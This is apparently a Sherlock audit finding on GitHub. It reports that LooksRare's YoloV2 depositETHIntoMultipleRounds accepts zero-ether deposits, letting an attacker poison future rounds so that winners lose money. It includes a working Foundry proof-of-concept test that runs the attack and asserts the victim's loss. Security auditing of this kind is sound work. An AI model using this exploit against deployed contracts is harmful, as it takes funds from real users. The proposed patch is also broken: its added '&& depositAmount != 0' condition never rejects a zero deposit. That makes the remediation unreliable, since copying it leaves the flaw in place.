sherlock-audit / 2024-01-looksrare-judging

3 stars 0 forks source link

0rpse - depositETHIntoMultipleRounds lets users deposit 0 ether leading to losses by participation #127

Closed sherlock-admin closed 9 months ago

sherlock-admin commented 9 months ago

0rpse

high

depositETHIntoMultipleRounds lets users deposit 0 ether leading to losses by participation

Summary

Users are able to deposit zero ether into future rounds using the function depositETHIntoMultipleRounds, using this an adversary can poison rounds which will lead to loss of user funds.

Vulnerability Detail

depositETHIntoMultipleRounds function lacks the necessary checks to make sure each deposit is not zero, it initially checks the deposit which is towards the current open round and later checks the total expected deposit, therefore for the next rounds a user can make deposits of zero ether. At this point an adversary can make MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND - 1 deposits into any number of rounds, only depositing funds into the current open round. Whenever a victim makes a deposit into these future rounds filled with zero deposits, they will be winning the round (drawing will trigger due to deposits reaching limit and number of participants being greater than one) but only to pay protocol fees and gas, ultimately losing funds.

Impact

Malicious users can poison rounds which will make users lose funds by participating in the game, making this vulnerability high impact.

PoC

Add this test to Yolo.depositETHIntoMultipleRounds.t.sol.

function test_depositETHIntoMultipleRounds_DepositZeroEth() public {
        uint256[] memory amounts = new uint256[](4);
        amounts[0] = 0.01 ether;
        amounts[1] = 0 ether;
        amounts[2] = 0 ether;
        amounts[3] = 0 ether;

        vm.deal(user1, 10 ether);
        vm.prank(user1);

        //attacker deposits MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND - 1 times into 4 rounds
        for (uint256 i = 1; i <= 99; i++) {
            yolo.depositETHIntoMultipleRounds{value: 0.01 ether}(amounts);
        }

        (
            ,,,,,,,,,
            IYoloV2.Deposit[] memory deposits
        ) = yolo.getRound(2);
        //attacker was able to deposit 0 eth
        assertEq(deposits[0].tokenAmount, 0);

        amounts = new uint256[](2);
        amounts[0] = 5 ether;
        amounts[1] = 5 ether;

        vm.deal(user2, 20 ether);
        vm.prank(user2);
        //victim deposits 5 ether to two rounds
        yolo.depositETHIntoMultipleRounds{value: 10 ether}(amounts);

        //first round goes through automatically as it reaches max deposit number
        (IYoloV2.RoundStatus status, , , , , , , , , ) = yolo.getRound(1);
        assertEq(uint8(status), uint8(IYoloV2.RoundStatus.Drawing));

        uint256[] memory randomWords = new uint256[](1);
        randomWords[0] = 2345782359082359082359082359239741234971239412349234892349234;

        vm.prank(VRF_COORDINATOR);
        VRFConsumerBaseV2(yolo).rawFulfillRandomWords(FULFILL_RANDOM_WORDS_REQUEST_ID, randomWords);
        address winner;
        (status, , , , , , winner, , , ) = yolo.getRound(1);
        assertEq(uint8(status), uint8(IYoloV2.RoundStatus.Drawn));
        assertEq(winner, user2);

        //similar to first round    
        vm.prank(VRF_COORDINATOR);
        VRFConsumerBaseV2(yolo).rawFulfillRandomWords(FULFILL_RANDOM_WORDS_REQUEST_ID_2, randomWords);
        (status, , , , , , winner, , , ) = yolo.getRound(2);
        assertEq(uint8(status), uint8(IYoloV2.RoundStatus.Drawn));
        assertEq(winner, user2);

        //victim claims prizes for round 2 which has been filled with deposits of zero
        uint256[] memory prizesIndices = new uint256[](100);
        for(uint256 i = 0; i < 100; i++){
            prizesIndices[i] = i;
        }
        IYoloV2.WithdrawalCalldata[] memory withdrawalCalldata = new IYoloV2.WithdrawalCalldata[](1);
        withdrawalCalldata[0].roundId = 2;
        withdrawalCalldata[0].depositIndices = prizesIndices;
        vm.prank(user2);
        yolo.claimPrizes(withdrawalCalldata, false);

        //victim is in loss of 0.15 ether
        assertEq(user2.balance, 14.85 ether);
    }

Code Snippet

depositETHIntoMultipleRounds function: https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L312-L362

Tool used

Manual Review

Recommendation

Add a zero check for each deposit here.

-            if (depositAmount % roundValuePerEntry != 0) {
+            if (depositAmount % roundValuePerEntry != 0 && depositAmount != 0) {
                 revert InvalidValue();
             }

Duplicate of #18